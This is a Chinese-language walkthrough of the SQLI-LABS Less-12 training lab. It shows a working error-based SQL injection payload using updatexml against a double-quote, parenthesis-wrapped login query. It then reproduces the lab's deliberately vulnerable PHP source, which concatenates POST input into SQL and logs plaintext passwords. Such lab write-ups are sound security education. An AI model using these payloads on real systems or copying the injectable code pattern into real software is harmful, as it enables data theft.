0x01:过关流程
输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):
http://localhost/sqli-labs/Less-12/
如上,靶场中有一个登录框,要我们输入用户名与密码,似乎要我们进行登录。我们先随意传递点值,看看其反映(笔者传递的是:123 : 123
):
可以看到,服务器返回了 LOGIN ATTEMPT FAILED
,告诉我们登录失败了。问题不大,我们再多输入几组数据进行测试:
测试 Payload 01: Username&password = 123 : 123 # 结果: LOGIN ATTEMPT FAILED
测试 Payload 02: Username&password = 12' : 123 # 结果: LOGIN ATTEMPT FAILED
测试 Payload 03: Username&password = 12" : 123 # 结果: 报错
可以看到,当我们传递 Payload 03 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板,根据泄露的模板,我们可以推测目标后端的 SQL 模板如下:
select * from users where username=("$_POST['name']") and password=("$_POST['name']") LIMIT 0,1;
根据上面的 SQL 模板,我们可以构造如下 Payload 对目标发起攻击:
-- 获取当前服务器正在使用的数据库的名称
攻击 Payload - Username: 12") and updatexml(1,concat(0x7e,database(),0x7e),1) #"
攻击 Payload - Password: 123
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。
可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-12 POST-Error Based-Double quotes-String-with twist 成功过关。
0x02:源码分析
下面是 SQLI LABS Less-12 POST-Error Based-Double quotes-String-with twist 后端的部分源码,以及笔者做的笔记:
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php"); // 获取数据库连接函数
error_reporting(0);
// take the variables
if (isset($_POST['uname']) && isset($_POST['passwd'])) {
$uname = $_POST['uname']; // 接收 POST 型传参
$passwd = $_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp = fopen('result.txt', 'a');
fwrite($fp, 'User Name:' . $uname . "\n");
fwrite($fp, 'Password:' . $passwd . "\n");
fclose($fp);
// connectivity
// 仅仅是将收到的参数两边加上了 " 号后,就拼接到了 SQL 模板中
$uname = '"' . $uname . '"';
$passwd = '"' . $passwd . '"';
@$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; // 后端的 SQL 模板
$result = mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row) { // 如果获取到了数据库的值,则显示登录名与密码
//echo '<font color= "#0000ff">';
echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:' . $row['username'];
echo "<br>";
echo 'Your Password:' . $row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';
echo "</font>";
} else { // 如果没有收到数据库的值,则会显示数据库的错误信息
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysqli_error($con1));
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
?>